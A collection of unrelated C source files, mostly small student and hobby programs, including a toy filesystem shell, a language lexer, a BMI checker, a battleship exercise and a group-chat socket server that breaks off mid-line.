rooti; Fsuper_blocks=file_system_location(path[0]);// Finds index of mounted FS with given drive name as in pathw in FS_group f=FS_group[Fsuper_blocks-1];// Gets corresuper_blockonding FileSystem structure at that index rooti=*(readInode(Fsuper_blocks,1));//Reads the 1st Inode(Root Directory Inode) } // from the FS arrays it will read the corresponding inode struct inode *readInode(int Fsuper_blocks,int id_inode){ //This function will read Inode(id_inode) from FS present in Fsuper_blocks position in FS array struct inode *i=(struct inode *)malloc(sizeof(struct inode)); long int offset=FS_group[Fsuper_blocks-1].sb.inode_start+(id_inode-1)*FS_group[Fsuper_blocks-1].sb.blocksize; //Calculating offset //Setting offset for writing root folder lseek(FS_group[Fsuper_blocks-1].fd,offset,SEEK_SET); read(FS_group[Fsuper_blocks-1].fd,(void *)i,sizeof(*i)); return i; } int main(){ char *c=(char *)malloc(30*sizeof(char)); // allocate space for the command string system("clear"); //screen_design(); while(1){ printf(ANSI_COLOR_BLUE"MY_FS $ "ANSI_COLOR_RESET); gets(c); // gets the command as input from the user and will be stored in `c`- char **cm=Command_getter(c); for(int i=0;i<permissible_command_size;i++){ if(strcmp(cm[i],"")!=0) // if the command is not empty printf("%s\n",cm[i]); // prints the corresponding command out into the terminal else break; } exec_command(cm); // execute the particular command } }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "sperl_op.h" #include "sperl_parser.h" #include "sperly.tab.h" /* Get token */ int SPerl_yylex(YYSTYPE* SPerl_yylvalp, SPerl_yy_parser* parser) { char* bufptr = parser->bufptr; enum SPerl_OP_EXPECT expect = parser->expect; parser->expect = SPerl_OP_EXPECT_NORMAL; while(1) { /* Get current character */ char c = *bufptr; /* line end */ switch(c) { /* End */ case '\0': return 0; /* Skip space character */ case ' ': case '\t': case '\n': case '\r': case EOF : bufptr++; parser->bufptr = bufptr; continue; /* Addition */ case '+': bufptr++; if (*bufptr == '+') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_INC; return INCOP; } else if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_ADD; return ASSIGNOP; } else { parser->bufptr = bufptr; return '+'; } /* Subtract */ case '-': bufptr++; if (*bufptr == '>') { bufptr++; parser->bufptr = bufptr; parser->expect = SPerl_OP_EXPECT_WORD; return ARROW; } else if (*bufptr == '-') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_DEC; return DECOP; } else if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_SUBTRACT; return ASSIGNOP; } else { parser->bufptr = bufptr; return '-'; } /* Multiply */ case '*': bufptr++; if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_MULTIPLY; return ASSIGNOP; } else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_MULTIPLY; return MULOP; } /* Divide */ case '/': bufptr++; if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_DIVIDE; return ASSIGNOP; } else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_DIVIDE; return MULOP; } case '%': bufptr++; if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_MODULO; return ASSIGNOP; } else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_MODULO; return MULOP; } case '^': bufptr++; if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_BIT_XOR; return ASSIGNOP; } else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_BIT_XOR; return MULOP; } case '|': bufptr++; /* Or */ if (*bufptr == '|') { bufptr++; if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_OR; return ASSIGNOP; } else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_OR; return OROP; } } /* Bit or */ else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_BIT_OR; return BITOROP; } case '&': bufptr++; /* Or */ if (*bufptr == '&') { bufptr++; if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_AND; return ASSIGNOP; } else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_AND; return ANDOP; } } /* Bit and */ else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_BIT_AND; return BITANDOP; } /* Comment */ case '#': bufptr++; while(1) { if (*bufptr == '\r' || *bufptr == '\n' || *bufptr == EOF || *bufptr == '\0') { break; } bufptr++; } parser->bufptr = bufptr; continue; case '=': bufptr++; /* == */ if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; return EQOP; } /* = */ else { parser->bufptr = bufptr; SPerl_yylvalp->ival = 0; return ASSIGNOP; } case '<': bufptr++; if (*bufptr == '<') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_LEFT_SHIFT; return SHIFTOP; } /* <= */ else if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_LE; return RELOP; } /* < */ else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_LT; return RELOP; } case '>': bufptr++; if (*bufptr == '>') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_RIGHT_SHIFT; return SHIFTOP; } /* >= */ else if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_GE; return RELOP; } /* < */ else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_GT; return RELOP; } case '!': bufptr++; if (*bufptr == '=') { bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_NOT; return ASSIGNOP; } else { parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_NOT; return NOTOP; } case '~': bufptr++; parser->bufptr = bufptr; SPerl_yylvalp->ival = SPerl_OP_COMPLEMENT; return '~'; case '"': bufptr++; /* Save current position */ char* cur_token_ptr = bufptr; char* str; if (*(bufptr + 1) == '"') { str = malloc(1); str[0] = '\0'; bufptr++; bufptr++; } else { while(*bufptr != '"' && *bufptr != '\0') { bufptr++; } if (*bufptr == '\0') { fprintf(stderr, "syntax error: string don't finish\n"); exit(1); } size_t str_len = bufptr - cur_token_ptr; str = malloc(str_len + 1); memcpy(str, cur_token_ptr, str_len); str[str_len] = '\0'; bufptr++; } SPerl_OP* op = SPerl_newOP(SPerl_OP_CONST_STRING, 0, 0, 0); op->uv.pv = str; parser->bufptr = bufptr; SPerl_yylvalp->opval = (SPerl_OP*)op; return STRING; default: /* Variable */ if (c == '$') { /* Save current position */ char* cur_token_ptr = bufptr; bufptr++; /* Next is graph */ while(isalnum(*bufptr) || (*bufptr) == '_' || (*bufptr) == ':') { bufptr++; } size_t str_len = bufptr - cur_token_ptr; char* var = malloc(str_len + 1); memcpy(var, cur_token_ptr, str_len); var[str_len] = '\0'; SPerl_OP* op = SPerl_newOP(SPerl_OP_VAR, 0, 0, 0); op->uv.pv = var; parser->bufptr = bufptr; SPerl_yylvalp->opval = (SPerl_OP*)op; return VAR; } /* Number literal */ else if (isdigit(c)) { char* cur_token_ptr = bufptr; bufptr++; /* Scan number */ while(isdigit(*bufptr)) { bufptr++; } if (isalpha(*bufptr)) { fprintf(stderr, "syntax error: invalid variable name\n"); exit(1); } /* Convert to integer */ size_t str_len = bufptr - cur_token_ptr; char* num_str = malloc(str_len + 1); memcpy(num_str, cur_token_ptr, str_len); num_str[str_len] = '\0'; int num = atoi(num_str); free(num_str); SPerl_OP* op = SPerl_newOP(SPerl_OP_CONST_INT, 0, 0, 0); op->uv.iv = num; parser->bufptr = bufptr; SPerl_yylvalp->opval = (SPerl_OP*)op; return INT; } /* Keyword or word */ else if (isalpha(c) || c == '_') { /* Save current position */ char* cur_token_ptr = bufptr; bufptr++; while(isalnum(*bufptr) || (*bufptr) == '_' || (*bufptr) == ':') { bufptr++; } size_t str_len = bufptr - cur_token_ptr; char* keyword = malloc(str_len + 1); memcpy(keyword, cur_token_ptr, str_len); keyword[str_len] = '\0'; if (expect != SPerl_OP_EXPECT_WORD) { if (memcmp(keyword, "my", str_len) == 0) { parser->bufptr = bufptr; return MY; } else if (memcmp(keyword, "our", str_len) == 0) { parser->bufptr = bufptr; return OUR; } else if (memcmp(keyword, "has", str_len) == 0) { parser->bufptr = bufptr; parser->expect = SPerl_OP_EXPECT_WORD; return HAS; } else if (memcmp(keyword, "sub", str_len) == 0) { parser->bufptr = bufptr; parser->expect = SPerl_OP_EXPECT_WORD; return SUB; } else if (memcmp(keyword, "package", str_len) == 0) { parser->bufptr = bufptr; return PACKAGE; } else if (memcmp(keyword, "if", str_len) == 0) { parser->bufptr = bufptr; return IF; } else if (memcmp(keyword, "elsif", str_len) == 0) { parser->bufptr = bufptr; return ELSIF; } else if (memcmp(keyword, "else", str_len) == 0) { parser->bufptr = bufptr; return ELSE; } else if (memcmp(keyword, "return", str_len) == 0) { parser->bufptr = bufptr; return RETURN; } else if (memcmp(keyword, "for", str_len) == 0) { parser->bufptr = bufptr; return FOR; } else if (memcmp(keyword, "last", str_len) == 0) { parser->bufptr = bufptr; return LAST; } else if (memcmp(keyword, "next", str_len) == 0) { parser->bufptr = bufptr; return NEXT; } else if (memcmp(keyword, "use", str_len) == 0) { parser->bufptr = bufptr; return USE; } else if (memcmp(keyword, "while", str_len) == 0) { parser->bufptr = bufptr; return WHILE; } else if (memcmp(keyword, "true", str_len) == 0) { SPerl_OP* op = SPerl_newOP(SPerl_OP_CONST_BOOL, 0, 0, 0); op->uv.iv = 1; parser->bufptr = bufptr; SPerl_yylvalp->opval = (SPerl_OP*)op; return BOOL; } else if (memcmp(keyword, "false", str_len) == 0) { SPerl_OP* op = SPerl_newOP(SPerl_OP_CONST_BOOL, 0, 0, 0); op->uv.iv = 0; parser->bufptr = bufptr; SPerl_yylvalp->opval = (SPerl_OP*)op; return BOOL; } else if (memcmp(keyword, "as", str_len) == 0) { parser->bufptr = bufptr; return AS; } } SPerl_OP* op = SPerl_newOP(SPerl_OP_CONST_STRING, 0, 0, 0); op->uv.pv = keyword; parser->bufptr = bufptr; SPerl_yylvalp->opval = (SPerl_OP*)op; return WORD; } /* Return character */ bufptr++; parser->bufptr = bufptr; return c; } } } /* Function for error */ void SPerl_yyerror(SPerl_yy_parser* parser, const char* s) { fprintf(stderr, "error: %s\n", s); }
C
#if !defined(INCLUDED_CHARACTER_H) #define INCLUDED_CHARACTER_H /// \file /// \brief Character encoding. /// \brief Returns true if \p c is an ASCII character that can be represented with 7 bits. inline bool char_is_ascii(char c) { return (c & 0x80) == 0; } /// \brief Returns true if \p string consists entirely of ASCII characters. inline bool string_is_ascii(const char* string) { while(*string != '\0') { if(!char_is_ascii(*string++)) { return false; } } return true; } #endif
C
#include <stdio.h> #include <stdlib.h> int main() { printf("Hello world!\n"); printf("%d \n", 45);///integer printf("%ld \n", 746847);///large integer printf("%f \n",73.84); printf("%c \n", 'J');///character printf("%s \n", "Jeffrey");///string printf("%x \n", 59);///hexadecimal //Storing Values in Variables printf("Examples of variables \n"); int age=18; float pi=3.142; char c='J'; printf("Age %d.", age); return 0; }
C
#include "fdf.h" void count_align(t_point *map, t_align *al) { t_point *ptr; al->col = map->axis; al->row = map->ordinate; al->alt = abs(map->altitude); ptr = map->next; while (ptr != map) { if (ptr->axis > al->col) al->col = ptr->axis; if (ptr->ordinate > al->row) al->row = ptr->ordinate; if (abs(ptr->altitude) > al->alt) al->alt = abs(ptr->altitude); ptr = ptr->next; } }
C
#include <stdio.h> #include <stdlib.h> int main() { float kilo,boy,vucutKitleIndeksi; int yas; printf("Yasinizi giriniz : "); scanf("%d",&yas); printf("Kilonuzu giriniz : "); scanf("%f",&kilo); printf("Boyunuzu giriniz : "); scanf("%f",&boy); printf("----------------------------\n"); vucutKitleIndeksi=kilo/(boy*boy); printf("Vucut kitle indeksiniz : %.2f\n",vucutKitleIndeksi); if(yas>=13 && yas<=17 && vucutKitleIndeksi>=18.5 && vucutKitleIndeksi<=24.99) printf("Tebrikler ! Askeri liseye girebilirsiniz."); else printf("Maalesef askeri liseye giremezsiniz."); return 0; }
C
/*Ӱĺ*/ #include "all.h" Screen *Screen_Creathead() { Screen *p =(Screen*)malloc(sizeof(Screen)); p->next = NULL; return p; } void Screen_CreatLink(Screen *screen_head) { FILE *screen_fp = fopen("Message/Screen.txt","a+"); char name[15]; int seat[100][100]; while(fscanf(screen_fp,"%s",name)!=EOF) { Screen *p = (Screen*)malloc(sizeof(Screen)); strcpy(p->name,name); fscanf(screen_fp,"%d%d\n",&(p->line),&(p->row)); for(int i = 1; i<=p->line; i++) { for(int j = 1; j<=p->row; j++) { fscanf(screen_fp,"%d",&((p->seat)[i][j])); } } p->next = screen_head->next; screen_head->next = p; } fclose(screen_fp); } int Screen_Add(Screen *screen_head,char *name,int line,int row,int seat[][100]) { if(!Screen_Find(screen_head,name)) { Screen *p =(Screen*)malloc(sizeof(Screen)); strcpy(p->name,name); p->line = line; p->row = row; for(int i = 1; i<=line; i++) { for(int j = 1; j<=row; j++) { (p->seat)[i][j] = seat[i][j]; } } p->next = screen_head->next; screen_head->next = p; return 1; } else { return 0; } } Screen* Screen_Find(Screen *screen_head,char *name) { Screen *p = screen_head->next; while(p) { if(strcmp(p->name,name)==0) { return p; } p=p->next; } return NULL; } void Screen_Del(Screen *screen_head,char *screen_name) { Screen* q = screen_head; Screen *p = q->next; while(p) { if(strcmp(p->name,screen_name)==0) { Ticket *ticket_head =Ticket_Creathead(); Ticket_CreatLink(ticket_head); Ticket_DelAll_Screen(ticket_head,screen_name);//ɾƱ Ticket_Save(ticket_head); Seat *seat_head = (Seat*)malloc(sizeof(Seat)); seat_head->next = NULL; Seat_CreatLink(seat_head); Seat_DelAll_Screen(seat_head,screen_name);//ɾλ Seat_Save(seat_head); q->next = p->next;//ɾӰ free(p); return; } q=p; p=p->next; } } void Screen_Save(Screen *screen_head) { FILE *screen_fp = fopen("Message/screen.txt","w+"); Screen *p = screen_head->next; while(p) { fprintf(screen_fp,"%s %d %d\n",p->name,p->line,p->row); for(int i = 1; i<=p->line; i++) { for(int j = 1; j<=p->row; j++) { fprintf(screen_fp,"%d ",(p->seat)[i][j]); } fputc('\n',screen_fp); } p=p->next; } fclose(screen_fp); } void Screen_Modify(Screen *p,int line,int row,int num) { (p->seat)[line][row] = num; }
C
#include <stdio.h> // Standard C header #include <math.h> // Contains round() ////////////////////////////////////////////////// int main(int argc, char const *argv[]) { double x; scanf("%lf", &x); int aprox; // integer aproximation aprox = (int) round(x); int i; // integer part i = (int) floor(x); double dec ; // decimal part dec = (double)(x - i); printf("%d\n", i ); printf("%.4lf\n", dec ); printf("%d\n", aprox ); return 0; } ////////////////////////////////////////////////// /* double round (double x) This function returns the nearest integer value of the float/double/long double argument passed to this function. If decimal value is from “.1 to .5”, it returns integer value less than the argument. If decimal value is from “.6 to .9”, it returns the integer value greater than the argument. double floor (double x) returns the largest integer value less than or equal to x. */ //////////////////////////////////////////////////
C
/**************************************************************/ /* Programa Práctica 8: Programa modular Batalla naval */ /* Aleatorios */ /* Nombre: Pável Ernesto Oropeza Alfaro */ /* Fecha: 28 de noviembre 2016 */ /* */ /* Descripción: */ /* El programa modular genera un tablero de números aleatorios*/ /* Cada módulo tiene una tarea específica. */ /* El módulo LimpiaTablero crea un tablero de 6 x 6 casillas */ /* limpias */ /* El módulo Despliega despliega el contenido del tablero. */ /* Inicialmente sin posiciones de los barcos */ /* El módulo ColocaBarcos genera las posiciones de los barcos */ /* */ /**************************************************************/ /**************************************************************/ /* Contenido del listado: */ /* El programa se compila con gcc: */ /* gcc -o batalla_naval.exe batalla_naval.c */ /* Las bibliotecas que se incluyen son stdio.h y stdlib.h */ /**************************************************************/ #include <stdio.h> #include <stdlib.h> #define M 6 #define N 6 #define VACIO ' ' #define MAX 36 //Prototipos void LimpiaTablero(char B[M][N]); void Despliega(char B[M][N]); void ColocaBarcos(char B[M][N]); //void PideTirada(); //void Revisa(); int main(void) { srand((unsigned int)getpid()); int posb_x, posb_y; char miTablero[M][N]; LimpiaTablero(miTablero); Despliega(miTablero); ColocaBarcos(miTablero); return 0; } void LimpiaTablero(char B[M][N]) { int i, j; for(i = 0; i < M; i++){ for(j = 0; j < N; j++){ B[i][j] = VACIO; } printf("\n"); } } void Despliega(char B[M][N]) { int i, j; char barco = '*'; for(i = 0; i < M; i++){ for(j = 0; j < M; j++){ printf("%c", B[i][j]); } printf("\n"); } } void ColocaBarcos(char B[M][N]) { int i, j, pos_x, pos_y; char barco = '*'; for(i = 0; i < M; i++){ for(j = 0; j < N; j++) { pos_x = rand() % (MAX + 1); pos_y = rand() % (MAX + 1); B[i][j] = (pos_x,pos_y); if((pos_x, pos_y) != VACIO){ B[i][j] = barco; } printf("%c\t", B[i][j]); } printf("\n"); } } //void PideTirada // Validar entrada de Renglon y Columna // Haz mientras(renglon [] y columna[] - Ver el caso del examen para hacer esta validacion
C
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> //Precision to use for calculations #define fptype float typedef struct OptionData_ { fptype s; // spot price fptype strike; // strike price fptype r; // risk-free interest rate fptype divq; // dividend rate fptype v; // volatility fptype t; // time to maturity or option expiration in years // (1yr = 1.0, 6mos = 0.5, 3mos = 0.25, ..., etc) char OptionType; // Option type. "P"=PUT, "C"=CALL fptype divs; // dividend vals (not used in this test) fptype DGrefval; // DerivaGem Reference Value } OptionData; OptionData *data; int numOptions; int * otype; fptype * sptprice; fptype * strike; fptype * rate; fptype * volatility; fptype * otime; int numError = 0; int bs_thread (fptype *prices) { int i, j; fptype price; fptype priceDelta; int start = 0; int end = start + numOptions; for (i=start; i<end; i++) { prices[i] = i; } return 0; } int main (int argc, char **argv) { FILE *file; int i; int loopnum; fptype * buffer; int * buffer2; int rv; //Read input data numOptions = atoll(argv[1]) + 2; // alloc spaces for the option data data = (OptionData*)malloc(numOptions*sizeof(OptionData)); fptype *prices = (fptype*)malloc(numOptions*sizeof(fptype)); printf("Num of Options: %d\n", numOptions); #define PAD 256 #define LINESIZE 64 buffer = (fptype *) malloc(5 * numOptions * sizeof(fptype) + PAD); sptprice = (fptype *) (((unsigned long long)buffer + PAD) & ~(LINESIZE - 1)); strike = sptprice + numOptions; rate = strike + numOptions; volatility = rate + numOptions; otime = volatility + numOptions; buffer2 = (int *) malloc(numOptions * sizeof(fptype) + PAD); otype = (int *) (((unsigned long long)buffer2 + PAD) & ~(LINESIZE - 1)); for (i=0; i<numOptions; i++) { otype[i] = (data[i].OptionType == 'P') ? 1 : 0; sptprice[i] = data[i].s; strike[i] = data[i].strike; rate[i] = data[i].r; volatility[i] = data[i].v; otime[i] = data[i].t; } bs_thread(prices); printf("Wow: %f\n", prices[0] + prices[1]); return 0; }
C
#include "server.h" char* itoa(int val) { int base = 10; static char buf[32] = {0}; int i = 30; for(; val && i ; --i, val /= base) buf[i] = "0123456789abcdef"[val % base]; return &buf[i+1]; } int max(int x, int y) { if (x > y) return x; else return y; } void print(char* buf) { write(ONE, buf, strlen(buf)); } struct sockaddr_in get_broadcast_address(int port) { struct sockaddr_in servaddr; memset(&servaddr, ZERO, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = htonl(INADDR_BROADCAST); //INADDR_ANY return servaddr; } int get_udp_socket() { int sockfd; if ( (sockfd = socket(AF_INET, SOCK_DGRAM, ZERO)) < ZERO ) { perror("socket creation failed!\n"); exit(EXIT_FAILURE); } return sockfd; } int get_tcp_socket() { int sockfd; if ( (sockfd = socket(AF_INET, SOCK_STREAM, ZERO)) < ZERO ) { perror("socket creation failed!\n"); exit(EXIT_FAILURE); } return sockfd; } void set_broadcast_options(int sockfd) { int opt = ONE; if (setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &opt, sizeof(opt)) < ZERO) { perror("set broadcast option failed!\n"); close(sockfd); exit(EXIT_FAILURE); } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < ZERO) { perror("set broadcast option failed!\n"); close(sockfd); exit(EXIT_FAILURE); } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < ZERO) { perror("set broadcast option failed!\n"); close(sockfd); exit(EXIT_FAILURE); } } void bind_socket(int sockfd, struct sockaddr_in servaddr) { if ( bind(sockfd, (const struct sockaddr *)&servaddr, sizeof(servaddr)) < ZERO ) { perror("bind failed!\n"); exit(EXIT_FAILURE); } } void set_timeout_option(int rcv_sock, int seconds) { struct timeval tv; tv.tv_sec = seconds; tv.tv_usec = ZERO; if (setsockopt(rcv_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < ZERO) { perror("Error"); close(rcv_sock); exit(EXIT_FAILURE); } } void free_group(int group_index) { group_ports[group_index] = ZERO; strcpy(group_names[group_index], EMPTY); close(group_sockets[group_index]); } int remove_inactive_groups(int heartbeat_port) { int sockfd; char buffer[MAXLINE]; struct sockaddr_in servaddr; sockfd = get_udp_socket(); servaddr = get_broadcast_address(heartbeat_port); set_broadcast_options(sockfd); bind_socket(sockfd, servaddr); set_timeout_option(sockfd, HEARTBEAT_TIMEOUT); socklen_t len = sizeof(servaddr); int valread; valread = recvfrom(sockfd, (char *)buffer, sizeof(buffer), MSG_WAITALL, (struct sockaddr *) &servaddr,&len); for (int i = ZERO; i < MAX_NUMBER_OF_GROUPS; ++i) { if (strstr(buffer, itoa(group_ports[i])) == NULL) { print("The group on port "); print(itoa(group_ports[i])); print(" deleted!\n"); free_group(i); } } } int get_port(int sockfd, struct sockaddr_in sin) { socklen_t len = sizeof(sin); if (getsockname(sockfd, (struct sockaddr *)&sin, &len) < ZERO) { perror("getsockname"); exit(EXIT_FAILURE); } return ntohs(sin.sin_port); } void initialize_users() { for (int i = ZERO; i < MAX_NUMBER_OF_USERS; i++) { user_sockets[i] = ZERO; } } void initialize_groups() { for (int i = ZERO; i < MAX_NUMBER_OF_USERS; i++) { group_ports[i] = ZERO; } } int handle_login_user(int sockfd, int user_index) { int value; write(sockfd, "Login Accepted!\n", strlen("Login Accepted!\n")) != strlen("Login Accepted!\n"); char username[MAXLINE]; bzero(username, sizeof(username)); if (value = read(sockfd, username, sizeof(username)) < ZERO) { return UNSUCCESSFUL; } write(sockfd, "username Accepted", strlen("username Accepted")); print("Request for Login "); print(username); print("\n"); strcpy(users[user_index], username); print(username); print(" Logged in!"); print("\n"); return SUCCESSFUL; } int handle_get_group_list(int sockfd) { int value; write(sockfd, "Get Group List Accepted!\n", strlen("Get Group List Accepted!\n")); print("Request for Getting Group List\n"); //remove_inactive_groups(server_port); char message[MAXLINE]; bzero(message, sizeof(message)); for (int i = ZERO; i < MAX_NUMBER_OF_GROUPS; ++i) { if (group_ports[i] != ZERO) { strcat(message, group_names[i]); strcat(message, "\n"); } } print(message); if(write(sockfd, message, strlen(message)) != strlen(message)) print("sending group list failed!"); return SUCCESSFUL; } int set_group_socket(int group_index) { int port = BASE_GROUP_PORT + group_index; group_sockets[group_index] = get_udp_socket(); set_broadcast_options(group_sockets[group_index]); struct sockaddr_in servaddr = get_broadcast_address(port); bind_socket(group_sockets[group_index], servaddr); print("Listener on port "); print(itoa(port)); print("\n"); return port; } int handle_create_group(int sockfd) { int value; write(sockfd, "Create Group Accepted!\n", strlen("Create Group Accepted!\n")); char group_name[MAXLINE]; bzero(group_name, sizeof(group_name)); if (value = read(sockfd, group_name, sizeof(group_name)) < ZERO) { return UNSUCCESSFUL; } write(sockfd, "group_name Accepted", strlen("group_name Accepted")); print("Request for creating "); print(group_name); print("\n"); for (int i = ZERO; i < MAX_NUMBER_OF_GROUPS; ++i) { if (group_ports[i] == 0) { group_ports[i] = i + BASE_GROUP_PORT; set_group_socket(i); strcpy(group_names[i], group_name); print("Someone Created "); print(group_name); print("!\n"); return SUCCESSFUL; } } print("Group creation failed!\n"); return UNSUCCESSFUL; } int handle_join_group(int sockfd) { int value; char buffer[MAXLINE]; write(sockfd, "Join Group Accepted!\n", strlen("Join Group Accepted!\n")); char group_name[MAXLINE]; bzero(group_name, sizeof(group_name)); if (value = read(sockfd, group_name, sizeof(group_name)) < ZERO) { return UNSUCCESSFUL; } write(sockfd, "group_name Accepted", strlen("group_name Accepted")); print("Request for joining "); print(group_name); print("\n"); //remove_inactive_groups(server_port); for (int i = ZERO; i < MAX_NUMBER_OF_GROUPS; ++i) { if (strcmp(group_names[i], group_name) == EQUAL) { char* message = itoa(group_ports[i]); write(sockfd, message, strlen(message)); print("Someone Joined "); print(group_name); print(" on port "); print(message); print("\n"); return SUCCESSFUL; } } write(sockfd, "fail", strlen("fail")); print("Join Group Failed!\n"); return UNSUCCESSFUL; } int handle_start_secret_chat(int sockfd) { char buffer[MAXLINE]; int value; write(sockfd, "Start Secret Chat Accepted!\n", strlen("Start Secret Chat Accepted!\n")); char username[MAXLINE]; bzero(username, sizeof(username)); if (value = read(sockfd, username, sizeof(username)) < ZERO) { return UNSUCCESSFUL; } write(sockfd, "username Accepted", strlen("username Accepted")); bzero(buffer, sizeof(buffer)); if (read(sockfd, buffer, sizeof("give me her port")-1)< ZERO) { print("request getting failed"); return FALSE; } print("Request for chatting with "); print(username); print("\n"); for (int i = ZERO; i < MAX_NUMBER_OF_USERS; ++i) { if (strcmp(users[i], username) == EQUAL) { write(sockfd, itoa(user_ports[i]), strlen(itoa(user_ports[i]))); print("Someone started secret chat with "); print(username); print("!\n"); return SUCCESSFUL; } } print("Start Secret Chat Failed!\n"); return UNSUCCESSFUL; } void handle_commands(int sockfd, int user_index, char* command) { if (strcmp(command, LOGIN_COMMAND) == EQUAL) handle_login_user(sockfd, user_index); else if (strcmp(command, GET_GROUP_LIST_COMMAND) == EQUAL) handle_get_group_list(sockfd); else if (strcmp(command, CREATE_GROUP_COMMAND) == EQUAL) handle_create_group(sockfd); else if (strcmp(command, JOIN_GROUP_COMMAND) == EQUAL) handle_join_group(sockfd); else if (strcmp(command, START_SECRET_CHAT_COMMAND) == EQUAL) handle_start_secret_chat(sockfd); } int run_server(int server_port) { group_sockets = malloc(sizeof(int)*MAX_NUMBER_OF_GROUPS); group_ports = malloc(sizeof(int)*MAX_NUMBER_OF_GROUPS); user_sockets = malloc(sizeof(int)*MAX_NUMBER_OF_USERS); user_ports = malloc(sizeof(int)*MAX_NUMBER_OF_USERS); int opt = TRUE; int master_socket , addrlen , new_user, activity, i , valread , sd; int max_sd; struct sockaddr_in address; char buffer[1025]; //data buffer of 1K //set of socket descriptors fd_set readfds; //a message char *message = "SERVER: WELCOME TO SERVER \r\n"; //initialise all user_sockets[] to 0 so not checked initialize_users(); initialize_groups(); //create a master socket master_socket = get_tcp_socket(); //set master socket to allow multiple connections , //this is just a good habit, it will work without this if( setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < ZERO ) { perror("setsockopt"); exit(EXIT_FAILURE); } //type of socket created address.sin_family = AF_INET; address.sin_addr.s_addr = inet_addr(LOCAL_ADDRESS_IP); //INADDR_ANY address.sin_port = htons( server_port ); //bind the socket to localhost port server_port if (bind(master_socket, (struct sockaddr *)&address, sizeof(address))<ZERO) { perror("bind failed"); exit(EXIT_FAILURE); } //try to specify maximum of 3 pending connections for the master socket if (listen(master_socket, MAX_PENDING) < ZERO) { perror("listen"); exit(EXIT_FAILURE); } //accept the incoming connection addrlen = sizeof(address); print("Waiting for connections ..."); //------------------<CREATE BROADCAST SOCKET FOR UDP PEER2PEER---- // close(globalBroadcastSocketFD); int heartbeat_socket = get_udp_socket(); set_broadcast_options(heartbeat_socket); struct sockaddr_in heartbeat_address = get_broadcast_address(server_port); if (bind(heartbeat_socket, (struct sockaddr *)&heartbeat_address, sizeof(heartbeat_address))<0) { perror("Broadcast bind failed"); exit(EXIT_FAILURE); } //------------------CREATE BROADCAST SOCKET FOR UDP PEER2PEER/>---- clock_t start, end; start = clock(); while(TRUE) { end = clock(); int msec = (end - start) * 1000 / CLOCKS_PER_SEC; //print(itoa(msec)); if(msec > HEARTBEAT_TIMEOUT*100){ socklen_t len = sizeof(heartbeat_address); int valread; valread = recvfrom(heartbeat_socket, (char *)buffer, sizeof(buffer), MSG_WAITALL, (struct sockaddr *) &heartbeat_address,&len); for (int i = ZERO; i < MAX_NUMBER_OF_GROUPS; ++i) { if (strstr(buffer, itoa(group_ports[i])) == NULL) { print("The group on port "); print(itoa(group_ports[i])); print(" deleted!\n"); free_group(i); } } start = clock(); } //clear the socket set FD_ZERO(&readfds); //add master socket to set FD_SET(master_socket, &readfds); max_sd = master_socket; //add child sockets to set for ( i = ZERO ; i < MAX_NUMBER_OF_USERS ; i++) { //socket descriptor sd = user_sockets[i]; //if valid socket descriptor then add to read list if(sd > ZERO) FD_SET( sd , &readfds); //highest file descriptor number, need it for the select function max_sd = max(sd, max_sd); } struct timeval tv; tv.tv_sec = (long)1; tv.tv_usec = ZERO; activity = select( max_sd + ONE , &readfds , NULL , NULL , &tv); if ((activity < ZERO) && (errno!=EINTR)) { print("select error"); } while (errno==EINTR && FD_ISSET(master_socket, &readfds)) //Alarm Interrupt { print("ALARM INTERRUPT!"); activity = select( max_sd + ONE , &readfds , NULL , NULL , &tv); } //If something happened on the master socket , //then its an incoming connection if (FD_ISSET(master_socket, &readfds)) { if ((new_user = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen))<ZERO) { perror("accept"); exit(EXIT_FAILURE); } bzero(buffer, sizeof(buffer)); if ((valread = read( new_user 